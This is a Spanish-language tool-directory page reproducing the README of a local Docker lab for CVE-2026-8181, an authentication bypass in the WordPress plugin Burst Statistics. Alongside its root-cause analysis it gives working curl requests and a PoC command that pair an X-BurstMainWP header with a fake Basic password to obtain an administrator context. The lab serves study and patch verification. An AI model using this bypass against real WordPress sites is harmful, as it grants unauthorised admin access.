Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8181-Lab | Kitploit
Herramientas/GitHubGitHub/rootdirective-sec/cve-2026-8181-lab
Análisis de VulnerabilidadesExplotación de Aplicaciones WebSeguridad WebCTFPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónLabs y Práctica
GitHubrootdirective-sec/cve-2026-8181-lab

CVE-2026-8181-Lab

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-8181 — Laboratorio de omisión de autenticación de Burst Statistics

Laboratorio Docker únicamente local para CVE-2026-8181, una omisión de autenticación en el plugin de WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.

Este laboratorio compara una versión vulnerable del plugin con la versión corregida y utiliza un PoC de mínimo daño para demostrar la diferencia sin crear usuarios, subir archivos ni modificar el estado de WordPress.

Resumen

Plugin afectado: Burst Statistics – Privacy-Friendly WordPress Analytics Versiones afectadas: de 3.4.0 a 3.4.1.1 Versión corregida: 3.4.2 Tipo de vulnerabilidad: Omisión de autenticación / Autenticación incorrecta Impacto: Un atacante no autenticado puede hacerse pasar por un administrador durante una solicitud a la API REST si conoce un nombre de usuario de administrador válido.

En este laboratorio:

  • vuln ejecuta Burst Statistics 3.4.1.1
  • patched ejecuta Burst Statistics 3.4.2
  • El PoC envía una contraseña falsa de autenticación Basic con X-BurstMainWP: 1
  • El servicio vulnerable trata la solicitud como de administrador
  • El servicio corregido rechaza la misma solicitud

Arquitectura del laboratorio

El servicio seed instala WordPress, crea el administrador del laboratorio y activa Burst Statistics en ambos entornos.

Nombre de usuario del administrador del laboratorio:

root@kitploit:~
labadmin

El PoC utiliza intencionadamente una contraseña incorrecta para demostrar la omisión.

Causa raíz

Burst Statistics incluye una ruta de autenticación proxy relacionada con MainWP. Cuando una solicitud a la API REST incluye esta cabecera:

root@kitploit:~
X-BurstMainWP: 1

Burst delega la autenticación en MainWP_Proxy::is_mainwp_authenticated().

En la versión vulnerable, la función lee las credenciales de autenticación Basic controladas por el atacante, extrae el nombre de usuario y la contraseña, y las pasa al núcleo de WordPress:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );

El error está en la comprobación del valor de retorno.

Lógica vulnerable: 3.4.1.1

Simplificado a partir de includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
    return false;
}

$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
    return false;
}

wp_set_current_user( $user->ID );
return true;

El código vulnerable solo rechaza WP_Error. Sin embargo, wp_authenticate_application_password() puede devolver null u otro valor que no sea un usuario cuando la autenticación en realidad no ha tenido éxito. Dado que null no es un WP_Error, la comprobación se supera.

Después, el plugin busca el nombre de usuario proporcionado y llama a:

root@kitploit:~
wp_set_current_user( $user->ID );

Esto hace que WordPress trate la solicitud actual a la API REST como si fuera ese usuario. Si el nombre de usuario pertenece a un administrador, las comprobaciones de capacidades de WordPress ven a un administrador durante el resto de la solicitud.

Lógica de la corrección

La versión corregida soluciona la comprobación de autenticación al exigir un objeto de usuario autenticado real antes de continuar.

Lógica corregida: 3.4.2

Conceptualmente, la corrección es:

root@kitploit:~
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}

El cambio importante es que un valor de retorno meramente "sin error" ya no es suficiente. El resultado de la autenticación debe ser un objeto \WP_User real.

Esto bloquea la ruta vulnerable en la que null evita la antigua comprobación is_wp_error().

Por qué es importante

El laboratorio demuestra una prueba de solo lectura mediante:

root@kitploit:~
/wp/v2/users/me?context=edit

Ese endpoint es suficiente para mostrar si WordPress considera autenticada la solicitud.

El impacto en el mundo real puede ser mayor que el de esta prueba de laboratorio. Si un atacante puede hacerse pasar por un administrador en una solicitud a la API REST, podría acceder a endpoints privilegiados de WordPress. En configuraciones comunes de WordPress, el acceso de administrador puede conducir a la toma de control persistente del sitio mediante la creación de cuentas, contraseñas de aplicación, instalación de plugins, modificación de temas u otras acciones administrativas.

Este repositorio evita intencionadamente esas rutas destructivas.

Ejecución

root@kitploit:~
docker compose up -d --build

Espera a que finalice el servicio seed de un solo uso:

root@kitploit:~
docker compose logs seed

Salida esperada del seed:

root@kitploit:~
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete

Instala la dependencia de Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

Ejecuta el PoC contra el servicio vulnerable:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin

Resultado esperado en el servicio vulnerable:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]

[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.

Ejecuta el mismo PoC contra el servicio corregido:

root@kitploit:~
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin

Resultado esperado en el servicio corregido:

root@kitploit:~
=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 401

[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.

Prueba manual

Genera un token de autenticación Basic falso:

root@kitploit:~
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)

Servicio vulnerable

Solicitud de referencia sin cabeceras de omisión:

root@kitploit:~
curl -sS -i \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

Esperado:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

Intento de omisión:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

Esperado:

root@kitploit:~
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]

Servicio corregido

Ejecuta el mismo intento de omisión contra el servicio corregido:

root@kitploit:~
curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'

Esperado:

root@kitploit:~
HTTP/1.1 401 Unauthorized
rest_not_logged_in

Evidencia del lado del servidor

El servicio vulnerable muestra claramente el cambio de comportamiento:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200

El servicio corregido rechaza tanto los intentos no autenticados como los de omisión:

root@kitploit:~
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401

Notas de seguridad

Este PoC está diseñado intencionadamente para causar el mínimo daño:

  • No crea cuentas de administrador
  • No crea contraseñas de aplicación
  • No sube plugins
  • No modifica temas
  • No ejecuta comandos
  • No realiza cambios de estado persistentes
  • Protección de solo localhost en el script del PoC

Utiliza este laboratorio únicamente en tu propio entorno Docker local.

Referencias

  • NVD — CVE-2026-8181: https://nvd.nist.gov/vuln/detail/CVE-2026-8181
  • Análisis técnico de Wordfence: https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
  • Referencia del código fuente vulnerable, Burst Statistics 3.4.1.1: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php
  • Referencia del código fuente corregido, ruta trunk / 3.4.2 de Burst Statistics: https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php
  • Punto de entrada del helper de administración: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php
Descargar herramienta
ServicioDescripciónURL
vulnWordPress + Burst Statistics 3.4.1.1http://127.0.0.1:8081
patchedWordPress + Burst Statistics 3.4.2http://127.0.0.1:8082
db_vulnMySQL para el WordPress vulnerableSolo interno
db_patchedMySQL para el WordPress corregidoSolo interno
seedContenedor de configuración WP-CLI de un solo usoSolo interno